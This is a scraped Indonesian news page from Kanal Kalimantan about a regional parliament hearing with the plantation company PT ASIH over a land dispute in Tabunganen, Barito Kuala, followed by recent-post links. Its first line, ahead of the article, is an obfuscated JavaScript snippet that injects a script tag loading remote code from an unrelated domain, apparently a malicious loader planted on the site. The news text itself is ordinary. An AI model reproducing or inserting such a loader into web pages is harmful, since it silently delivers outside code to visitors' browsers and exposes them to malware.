(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

DPRD Batola Panggil PT ASIH Terkait Sengketa Lahan di Tabunganen


KANALKALIMANTAN.COM, MARABAHAN – Anggota DPRD Kabupaten Barito Kuala (Batola) menggelar pertemuan dengan manajemen PT Anugerah Sawit Inti Harapan (ASIH). Pertemuan kali ini beragenda dengar pendapat terkait sengketa lahan di Kecamatan Tabunganen, Kabupaten Batola, Provinsi Kalimantan Selatan (Kalsel).

Rapat dengar pendapat ini disambut Komisi III, berkenaan adanya laporan masyarakat terkait sengketa lahan perkebunan kelapa sawit PT ASIH.

“Sebelumnya, kami menerima laporan dari masyarakat, sehingga perlu meminta keterangan dari pihak perisahaan yang dimaksud,” ungkap Junaidin, Wakil Ketua Komisi III Batola DPRD Batola, Selasa (10/5/2022).

Junaidi juga menyampaikan bahwa pihak PT ASIH kooperatif dan merespon baik dalam upaya penyelesaian masalah.Pihaknya telah menerima sekitar 200 fotokopi surat keterangan tanah warga.

 

Baca juga  : Korban Tewas Laka Maut di Poros Marabahan-Banjarmasin Kakak Adik, Satu Anak Kritis di RSUD Abdul Aziz

Namun, pihaknya belum dapat memastikan mengenai keabsahan surat tanah tersebut
“Apakah itu sesuai atau memang ada rekayasa dari pihak-pihak tertentu. Nanti kami akan menindaklanjutinya dan akan memanggil masyarakat yang namanya sesuai dengan surat keterangan tanah tersebut,” kata Junaidi.

Lanjutnya, sebagai wakil rakyat pihaknya akan berusaha mencarikan jalan terbaik agar pihak perusahaan dan warga bisa menyelesaikan permasalahan ini dengan baik, tanpa harus ke ranah hukum.

Sementara itu, manejemen PT ASIH, Wahyu, menegaskan, pihaknya sudah menawarkan pilihan jika warga ingin masuk ke plasma dan juga siap untuk ganti rugi lahan.

“Mengenai hal itu, harus dibuktikan dengan kepemilikan lahan yang sah dan bisa menunjukkan lokasi lahannya. Begitu juga dengan lahan yang masih dalam sengketa, kami tidak berani untuk melakukan ganti rugi, apalagi sampai menggarapnya,” tandas dia.(kanalkalimantan.com/rdy)

Reporter  : rdy
Editor : kk


Desy Arfianty

Recent Posts

Pipa Bocor, Suplai Air Bersih di Banjarmasin Barat dan Tengah Terhenti

KANALKALIMANTAN.COM, BANJARMASIN - Pipa distribusi air bersih milik Perusahaan Air Minum (PAM) Bandarmasih di wilayah… Read More

60 menit ago

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

2 jam ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

2 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

4 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

4 jam ago

Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More

4 jam ago

This website uses cookies.